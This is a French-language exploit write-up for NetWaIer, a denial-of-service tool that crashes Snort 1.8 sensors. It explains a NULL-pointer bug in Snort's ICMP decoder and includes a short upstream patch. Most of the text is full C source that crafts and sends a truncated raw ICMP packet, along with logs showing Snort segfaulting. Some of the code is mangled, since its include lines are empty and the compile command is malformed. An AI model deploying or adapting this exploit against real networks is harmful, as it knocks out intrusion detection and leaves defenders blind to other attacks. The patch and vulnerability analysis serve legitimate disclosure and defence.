/*** PRIVATE !! DO NOT DISTRIBUTE *#!*{é$=ù*ù*"é' ***/ Netwaier - network watchers killer based on a exposure of sebas7ien observed at the Gamma OH coded by cns at minithins.net ---[ Introduction NetWaIer implémente une variante récente de l'attaque Small Footprint DoS qui permettent de faire segfaulter Snort. Le Small Footprint DoS consistait à envoyer un unique paquet IP spoofé avec les champs IHL et Version à zero et le champ Protocol à 4 correspondant à un tunnel IP-in-IP. Cette suite de champ étrange etait mal interpreté par la libpcap. La nouvelle méthode que nous implémentons n'est plus applicable à toutes les applications basées sur la libpcap mais uniquement à Snort. En effet, cette technique récente se base sur une erreur de parsing dans le code de decoding ICMP suivant. snort-1.8p1/log.c : char *IcmpFileName(Packet * p) { switch(p->icmph->type) { Un Denial of Service est provoqué lorsque icmph est de valeur NULL. En effet, lorsque lors de l'envoi d'un paquet ICMP, la longueur du payload IP est inférieur à la taille de l'header ICMP, alors Snort se met à segfaulter snort-1.8p1/decode.c : void DecodeICMP(u_int8_t * pkt, const u_int32_t len, Packet * p) { u_int16_t csum; if(len < sizeof(ICMPHdr)) { if(pv.verbose_flag) { ErrorMessage("[!] WARNING: Truncated ICMP header(%d bytes)\n", len); } if(pv.logbin_flag) LogBin(p, NULL, NULL, NULL); p->icmph = NULL; pc.discards++; return; } snort-1.8p1/decode.h : typedef struct _ICMPHdr { u_int8_t type; u_int8_t code; u_int16_t csum; u_int32_t data; } ICMPHdr; sizeof(ICMPHdr) -> 8; Pour lancer le DoS sur un senseur Snort afin de le faire segfaulter, il suffit d'envoyer un unique paquet ICMP correspondant à n'importe quelle règle Snort afin d'être certain de la capture et du traitement de ce paquet et suivant l'algorithme suivant : (ip->tot_len - (ip->ihl * 4)) < 8 Notez que le déréférencement de pointeurs à NULL semble être la méthode classique de gestions des erreurs dans Snort. De plus d'autres failles ont été découvertes dans le même plugin de decoding ICMP par ISS. Voir http://xforce.iss.net/static/7874.php. ---[ Simple Patch for Snort by sebas7ien root@host ~> cd snort root@host snort> patch < patch-snort ------------------------------------ SNiP ------------------------------------- Common subdirectories: snort.old/CVS and snort/CVS Common subdirectories: snort.old/contrib and snort/contrib diff -u snort.old/log.c snort/log.c --- snort.old/log.c Tue Jul 10 04:47:17 2001 +++ snort/log.c Tue Jul 17 16:27:30 2001 @@ -2251,9 +2251,11 @@ ***************************************************************************/ char *IcmpFileName(Packet * p) { - switch(p->icmph->type) + if (!(p->icmph)) + return ("ICMP_TRUNC"); + switch(p->icmph->type) { - case ICMP_ECHOREPLY: + case ICMP_ECHOREPLY: return "ECHO_REPLY"; case ICMP_DEST_UNREACH: Common subdirectories: snort.old/templates and snort/templates ------------------------------------ SNiP ------------------------------------- ---[ Installation & Utilisation NetWaIer est constitué d'une simple socket INET standard POSIX. Il vous suffit de taper : $ gcc -o -O2 netwaier.c pour compiler l'application dans le repertoire de votre choix. Puis vous lancez le logiciel par un ./netwaier ip_dst Note : le code fournit ne fonctionne en réalité qu'en local du fait de l'utilisation de l'API socket, mais l'étendre à un fonctionnement complet devrait être trivial en passant par libnet ou libdnet. ---[ Code $ cat > netwaier.c << FEOF // // Crash snort 1.8 // (le 1.7 ne semble pas être vulnérable ... à vérifier :-) // // Deni de service en local (requiert les droits root) // - just a proof of concept - // Vulnérabilité découverte par sebsb. // #include #include #include #include #include #include #include #define __USE_BSD /* i love bsd */ #include #include struct in_addr resolv(char *hostname) { struct in_addr in; struct hostent *hp; if( (in.s_addr = inet_addr(hostname)) == -1) { if( (hp = gethostbyname(hostname)) ) bcopy(hp->h_addr, &in.s_addr, hp->h_length); else { perror("Can't resolv hostname"); exit(-1); } } return in; } int main(int n, char **a) { int rs, plen, i; u_char *p; struct ip *p_ip; struct sockaddr_in adr; if (getuid()) { printf("uid != 0\n"); exit(1); } if (n != 2) { printf("%s \n", a[0]); exit(1); } plen = sizeof(struct ip) + sizeof(struct icmp); // p->icmph->type must not exist, so p->icmph must not exist // so we have no data. rs = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); adr.sin_family = PF_INET; adr.sin_port = 0; adr.sin_addr = resolv(a[1]); p = (u_char *)malloc(sizeof(u_char) * 128); bzero(p, 128); p_ip = (struct ip*)p; p_ip->ip_hl = sizeof(struct ip); p_ip->ip_v = IPVERSION; p_ip->ip_len = htons(plen); p_ip->ip_off=0x4000; p_ip->ip_id =~ rand() & 0xffff; p_ip->ip_ttl= 63; p_ip->ip_p = IPPROTO_ICMP; p_ip->ip_sum= 0x0000; p_ip->ip_dst.s_addr = adr.sin_addr.s_addr; i = sendto(rs, (void *)p, 0, 0,(struct sockaddr*)&adr, sizeof(struct sockaddr)); if (i > 0) printf("ok, packet sent.\n"); return 0; } ------------------------------------ SNiP ------------------------------------- root:~$ ./CNSsniff -i lo Interface changed for lo device >>> lo Listening on lo, [Ethernet (10Mb)] 18:46:46.066470, Len: 35 (0x23) 0x00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 0x10 00 15 09 81 00 00 40 01 2e 36 0a 17 17 82 0a 17 0x20 17 82 44 root:/home/mycroft/dev/hack/crashsnort$ ./netwaier localhost ok, packet sent. root:/home/mycroft/dev/hack/crashsnort$ root:/home/mycroft/arc/snort/snort$ snort -c /etc/snort/snort.conf -A console -i lo -*> Snort! <*- Version 1.8-RELEASE (Build 43) By Martin Roesch (roesch@sourcefire.com, www.snort.org) 07/18-18:48:30.080179 [**] [1:527:1] MISC same SRC/DST [**] [Classification: (null)] [Priority: 0] {ICMP} 10.23.23.130 -> 10.23.23.130 Segmentation fault (core dumped) FEOF